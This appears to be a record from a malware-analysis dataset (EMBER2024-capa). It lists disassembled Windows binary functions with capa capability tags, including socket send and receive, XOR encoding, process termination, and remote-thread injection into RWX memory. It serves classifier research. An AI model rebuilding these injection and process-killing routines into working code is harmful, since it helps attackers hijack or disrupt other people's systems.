joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4e585c
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffff0
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004e5194
xor eax, eax
push ebp
push 0x4e59cd
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
cmp dword [eax + 0xc], 0
je 0x4e59b7
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0xffffffff
je 0x4e58a7
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4e58b1
call fcn.00404448
jmp 0x4e59d4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041d40c
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x1010]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov ecx, 0x1000
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ebx, eax
test ebx, ebx
jle 0x4e59ac
push 0
push ebx
lea eax, [ebp - 0x1010]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov ecx, eax
cmp ecx, 0xffffffff
jne 0x4e595f
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2733
je 0x4e594c
lea eax, [ebp - 0x10]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403dcc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
push ebp
call fcn.004e5814
pop ecx
mov eax, dword [ebp - 4]
mov dl, byte [0x4e59e0]
cmp dl, byte [eax + 0x28]
je 0x4e59b3
call fcn.0040cd4c
jmp 0x4e59b3
mov eax, dword [ebp - 0xc]
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041d42c
jmp 0x4e59b3
cmp ecx, ebx
jge 0x4e597b
mov eax, dword [ebp - 0xc]
add eax, ecx
cdq
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041d42c
jmp 0x4e58b1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
call dword [edx]
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
call fcn.0041d40c
cmp edx, dword [esp + 4]
jne 0x4e599b
cmp eax, dword [esp]
pop edx
pop eax
jne 0x4e58b1
push ebp
call fcn.004e5814
pop ecx
jmp 0x4e59b3
push ebp
call fcn.004e5814
pop ecx
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e59d4
mov eax, dword [ebp - 4]
call fcn.004e51a0
ret
mov al, byte [ebp - 5]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4e59e4
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4e5b06
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004e5194
xor eax, eax
push ebp
push 0x4e5ae9
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4e5a34
call fcn.00404448
jmp 0x4e5af0
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4e5ad3
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x4e5ad3
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403dcc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x4e5ad3
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c540
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x4e5b20
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x4fc4a0]
mov dl, 1
mov eax, dword [0x4e44a8]
call fcn.0040ce70
call fcn.0040439c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5af0
mov eax, dword [ebp - 4]
call fcn.004e51a0
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5b0d
lea eax, [ebp - 0x28]
call fcn.004049e4
ret
Function at 0x4e5b6c
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4e5cb6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004e5194
xor eax, eax
push ebp
push 0x4e5c99
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x4e5bd1
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x4e5bd1
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x4e5c83
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x4e5be4
call fcn.00404448
jmp 0x4e5ca0
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4e5c83
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x4e5c83
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403dcc
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x4e5c83
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040c540
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x4e5cd0
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x4fc4a0]
mov dl, 1
mov eax, dword [0x4e44a8]
call fcn.0040ce70
call fcn.0040439c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5ca0
mov eax, dword [ebp - 4]
call fcn.004e51a0
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5cbd
lea eax, [ebp - 0x28]
call fcn.004049e4
ret

Function at 0x4e63e8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov ebx, edx
test ebx, ebx
js 0x4e6406
shr ebx, 2
mov esi, dword [eax + ebx*4]
dec ebx
push esi
jns 0x4e63ff
mov eax, esp
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4e6473
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.004049e4
xor esi, esi
mov edi, 3
mov ebx, dword [ebp - 4]
lea eax, [ebp - 0xc]
mov dl, byte [esi + 0x4fb9d4]
xor dl, byte [ebx]
call fcn.00404bcc
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
call fcn.00404cac
mov eax, dword [ebp - 8]
lea eax, [esi + 1]
mov ecx, 0xa
cdq
idiv ecx
mov esi, edx
inc ebx
dec edi
jne 0x4e642e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e647a
lea eax, [ebp - 0xc]
call fcn.004049e4
ret
Function at 0x4e66c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4e67a9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.004049e4
mov eax, dword [ebp - 4]
call fcn.00404ca4
test eax, eax
jle 0x4e676e
mov dword [ebp - 0xc], eax
mov esi, 1
call fcn.00402c30
mov edx, 0xa
xor eax, eax
call fcn.0042ea28
mov ebx, eax
lea edi, [esi + ebx]
mov eax, dword [ebp - 8]
push dword [eax]
lea eax, [ebp - 0x10]
mov edx, ebx
mov ecx, edi
add dl, cl
mov ecx, dword [ebp - 4]
xor dl, byte [ecx + esi - 1]
call fcn.00404bcc
push dword [ebp - 0x10]
lea edx, [ebp - 0x14]
mov eax, ebx
call fcn.004e6488
push dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
mov eax, ebx
xor eax, edi
mov edx, 2
call fcn.004092b0
push dword [ebp - 0x18]
mov eax, dword [ebp - 8]
mov edx, 4
call fcn.00404d64
inc esi
dec dword [ebp - 0xc]
jne 0x4e6707
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.004e656c
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 8]
call fcn.00404cac
mov eax, dword [ebp - 8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e67b0
lea eax, [ebp - 0x1c]
mov edx, 4
call fcn.00404a08
lea eax, [ebp - 4]
call fcn.004049e4
ret

Function at 0x4e83f4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x4e83fd
mov eax, dword [ebp - 4]
add esp, 0xfffffebc
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4e84d8
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4fc4a4]
mov byte [eax], 0
mov dword [ebx], 0xffffffff
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.00402f90
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.00403404
call fcn.00402a58
test eax, eax
jne 0x4e84b5
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x10145]
mov ecx, 0xfff1
lea eax, [ebp - 0x154]
call fcn.004030ec
mov dx, word [ebp - 8]
test dx, dx
jbe 0x4e84af
lea eax, [ebp - 0x10145]
xor ecx, ecx
mov cl, byte [eax]
mov esi, dword [ebx]
and esi, 0xff
xor ecx, esi
mov ecx, dword [ecx*4 + 0x4fba08]
mov esi, dword [ebx]
shr esi, 8
xor ecx, esi
mov dword [ebx], ecx
inc eax
dec dx
jne 0x4e848b
cmp dword [ebp - 8], 0
jne 0x4e8462
lea eax, [ebp - 0x154]
call fcn.0040310c
not dword [ebx]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e84df
lea eax, [ebp - 4]
call fcn.004049e4
ret
Function at 0x4e90c4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4e9143
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 0x41
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404bcc
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, 0x4e9158
call fcn.00404cf0
mov eax, dword [ebp - 4]
call fcn.00404ea4
push eax
call sub.kernel32.dll_GetDriveTypeA
test eax, eax
je 0x4e9122
cmp eax, 1
je 0x4e9122
cmp eax, 3
jne 0x4e9122
mov eax, dword [esi]
mov edx, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
cmp ebx, 0x5b
jne 0x4e90e2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e914a
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404a08
ret
Function at 0x4e971c
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe9c
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4e9905
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4e98c9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x41861c]
call fcn.00403ba0
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00402970
call fcn.00402934
lea eax, [ebp - 0x150]
push eax
push 0x4e9918
call sub.kernel32.dll_FindFirstFileA_1
mov esi, eax
cmp esi, 0xffffffff
je 0x4e980d
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x124]
mov ecx, 0x104
call fcn.00404c54
lea eax, [ebp - 0x154]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404cf0
mov eax, dword [ebp - 0x154]
call fcn.004096d4
test al, al
je 0x4e97f6
lea eax, [ebp - 0x158]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
call fcn.00404cf0
mov edx, dword [ebp - 0x158]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x150]
push eax
push esi
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4e97a5
push esi
call sub.kernel32.dll_FindClose_1
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4e98b4
inc eax
mov dword [ebp - 0x10], eax
xor esi, esi
lea ecx, [ebp - 0x15c]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x15c]
call fcn.004e906c
cmp edx, 0
jne 0x4e9851
cmp eax, 0x172216b0
jbe 0x4e98aa
jmp 0x4e9853
jle 0x4e98aa
lea ecx, [ebp - 0x160]
mov edx, esi
mov eax, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, dword [ebp - 0x160]
call fcn.004e906c
cmp edx, 0
jne 0x4e987b
cmp eax, 0x172239d8
jae 0x4e98aa
jmp 0x4e987d
jge 0x4e98aa
mov byte [ebp - 5], 1
lea ecx, [ebp - 0x164]
mov edx, esi
mov eax, ebx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x164]
mov eax, 0x500488
call fcn.00404a38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e98d7
inc esi
dec dword [ebp - 0x10]
jne 0x4e9829
mov eax, ebx
call fcn.00403bd0
mov byte [ebp - 5], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e98d7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e990c
lea eax, [ebp - 0x164]
mov edx, 5
call fcn.00404a08
lea eax, [ebp - 0xc]
call fcn.004049e4
lea eax, [ebp - 4]
call fcn.004049e4
ret
Function at 0x4e99d8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x4e9b52
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
xor edx, edx
mov eax, 2
call fcn.004b7334
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.004b7354
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x4e9b1e
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404c54
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00409a2c
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00408ce4
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00408ce4
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404df0
je 0x4e9af8
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404c54
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00408ce4
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00408ce4
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404df0
jne 0x4e9b0f
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.004b7374
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4e9a59
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e9b59
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00404a08
lea eax, [ebp - 4]
call fcn.004049e4
ret
Function at 0x4ea034
Capabilities:
Copy file
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe14
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x1e8], ecx
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1d8], ecx
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x1d0], ecx
xor eax, eax
push ebp
push 0x4ea2c8
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4ea0eb
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x4ea2e0
lea eax, [ebp - 0x1cc]
call fcn.00402f90
lea eax, [ebp - 0x1cc]
call fcn.00402d20
call fcn.00402934
lea ecx, [ebp - 0x1d0]
mov eax, dword [0x5004e4]
mov eax, dword [eax + 0x23c]
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x1d0]
lea eax, [ebp - 0x1cc]
call fcn.00405094
call fcn.0040304c
call fcn.00402934
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4ea0f5
xor eax, eax
push ebp
push 0x4ea2a0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5004e4]
mov eax, dword [eax + 0x23c]
mov edx, dword [eax]
call dword [edx + 0x10]
test eax, eax
jle 0x4ea1af
xor eax, eax
push ebp
push 0x4ea1a5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5004e4]
mov eax, dword [eax + 0x23c]
mov edx, dword [eax]
call dword [edx + 0x10]
mov esi, eax
test esi, esi
jle 0x4ea19b
mov ebx, 1
lea eax, [ebp - 0x1cc]
call fcn.00402d2c
call fcn.00402934
lea eax, [ebp - 0x1cc]
call fcn.00403684
call fcn.00402934
lea ecx, [ebp - 0x1d4]
mov eax, dword [0x5004e4]
mov eax, dword [eax + 0x23c]
mov edx, ebx
mov edi, dword [eax]
call dword [edi + 0xc]
mov edx, dword [ebp - 0x1d4]
lea eax, [ebp - 0x1cc]
call fcn.00405094
call fcn.0040304c
call fcn.00402934
inc ebx
dec esi
jne 0x4ea144
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4ea1af
lea eax, [ebp - 0x1cc]
call fcn.0040310c
call fcn.00402934
call fcn.00402c30
mov edx, 0x270f
mov eax, 0x1a0a
call fcn.0042ea28
mov ebx, eax
lea edx, [ebp - 0x1dc]
mov eax, ebx
call fcn.0040919c
mov ecx, dword [ebp - 0x1dc]
lea eax, [ebp - 0x1d8]
mov edx, 0x4ea2f0
call fcn.00404cf0
mov eax, dword [ebp - 0x1d8]
call fcn.00404ea4
push eax
push 0x4ea310
call sub.kernel32.dll_MoveFileA
push 0
push 0x4ea2f0
lea edx, [ebp - 0x1e4]
mov eax, ebx
call fcn.0040919c
push dword [ebp - 0x1e4]
push 0x4ea338
lea eax, [ebp - 0x1e0]
mov edx, 3
call fcn.00404d64
mov eax, dword [ebp - 0x1e0]
call fcn.00404ea4
push eax
push 0x4ea340
call sub.kernel32.dll_CopyFileA
push 0x4ea310
lea edx, [ebp - 0x1ec]
mov eax, ebx
call fcn.0040919c
mov ecx, dword [ebp - 0x1ec]
lea eax, [ebp - 0x1e8]
mov edx, 0x4ea2f0
call fcn.00404cf0
mov eax, dword [ebp - 0x1e8]
call fcn.00404ea4
push eax
call sub.kernel32.dll_MoveFileA
mov eax, 0x4ea350
call fcn.0040990c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4ea2aa
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ea2cf
lea eax, [ebp - 0x1ec]
mov edx, 8
call fcn.00404a08
ret
Function at 0x4ef578
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov edi, edx
mov ebx, eax
push 0x40
push 0x1000
push 0x1000
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
lea eax, [esp + 4]
push eax
push 0x1000
push edi
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push esp
push 4
push 0
push esi
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4efc2c
Capabilities:
Get disk information
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffce0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x318], ecx
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x314], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4efdea
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004049e4
lea eax, [ebp - 0x20a]
xor ecx, ecx
mov edx, 0x202
call fcn.00403274
push 0
push 1
push 0
push 2
push 0
push ebx
call sub.kernel32.dll_CreateFileMappingA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4efdc4
push 1
push 0
push 0
push 4
push ebx
call sub.kernel32.dll_MapViewOfFile
mov edi, eax
test edi, edi
je 0x4efdbe
push 0x104
call sub.kernel32.dll_GetCurrentProcess
lea ecx, [ebp - 0x20a]
mov edx, edi
call fcn.004b7050
test eax, eax
je 0x4efdb8
lea edx, [ebp - 8]
lea eax, [ebp - 0x20a]
call fcn.00409dc8
lea eax, [ebp - 0x20a]
push eax
push 0x1ff
call sub.kernel32.dll_GetLogicalDriveStringsA
test eax, eax
je 0x4efdb8
lea esi, [ebp - 0x20a]
add esi, 2
mov byte [esi], 0
sub esi, 2
lea eax, [ebp - 0x30e]
xor ecx, ecx
mov edx, 0x104
call fcn.00403274
push 0x104
lea eax, [ebp - 0x30e]
push eax
push esi
call sub.kernel32.dll_QueryDosDeviceA
test eax, eax
je 0x4efdac
lea eax, [ebp - 0x314]
lea edx, [ebp - 0x30e]
mov ecx, 0x104
call fcn.00404c54
mov eax, dword [ebp - 0x314]
mov edx, dword [ebp - 8]
call fcn.0040db14
test eax, eax
je 0x4efdac
lea eax, [ebp - 0x318]
push eax
lea eax, [ebp - 0x31c]
lea edx, [ebp - 0x30e]
mov ecx, 0x104
call fcn.00404c54
mov edx, dword [ebp - 0x31c]
xor ecx, ecx
mov eax, dword [ebp - 8]
call fcn.00434c8c
mov eax, dword [ebp - 0x318]
push eax
lea eax, [ebp - 0x320]
mov edx, esi
call fcn.00404bdc
mov edx, dword [ebp - 0x320]
mov eax, dword [ebp - 4]
pop ecx
call fcn.00404cf0
jmp 0x4efdc4
add esi, 4
cmp byte [esi], 0
jne 0x4efd01
push edi
call sub.kernel32.dll_UnmapViewOfFile
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4efdf1
lea eax, [ebp - 0x320]
mov edx, 4
call fcn.00404a08
lea eax, [ebp - 8]
call fcn.004049e4
ret
Function at 0x4efe20
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, 0x4efdf8
sub esi, 0x4efdfc
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
test ebx, ebx
je 0x4efebf
push 0x4efec8
call sub.kernel32.dll_GetModuleHandleA_2
mov ebp, eax
push 0x4efed8
push ebp
call sub.kernel32.dll_GetProcAddress_1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
push 4
push 0x1000
push 8
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [esp + 4]
push eax
push 8
lea eax, [esp + 0x10]
push eax
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push 0x40
push 0x1000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov ebp, eax
lea eax, [esp + 4]
push eax
push esi
push 0x4efdfc
push ebp
push ebx
call sub.kernel32.dll_WriteProcessMemory
push esp
push 0
push edi
push ebp
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4eff8c
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push ebx
push esi
push ecx
mov ebx, 0x400
push 4
push 0x3000
push ebx
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
push esp
push ebx
push esi
push 0x10
call sub.ntdll.dll_NtQuerySystemInformation
push 0x8000
push ebx
push esi
call sub.kernel32.dll_VirtualFree_1
mov ebx, dword [esp]
push 4
push 0x3000
push ebx
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
push esp
push ebx
push esi
push 0x10
call sub.ntdll.dll_NtQuerySystemInformation
test eax, eax
jne 0x4effe1
mov eax, esi
jmp 0x4effe3
xor eax, eax
pop edx
pop esi
pop ebx
ret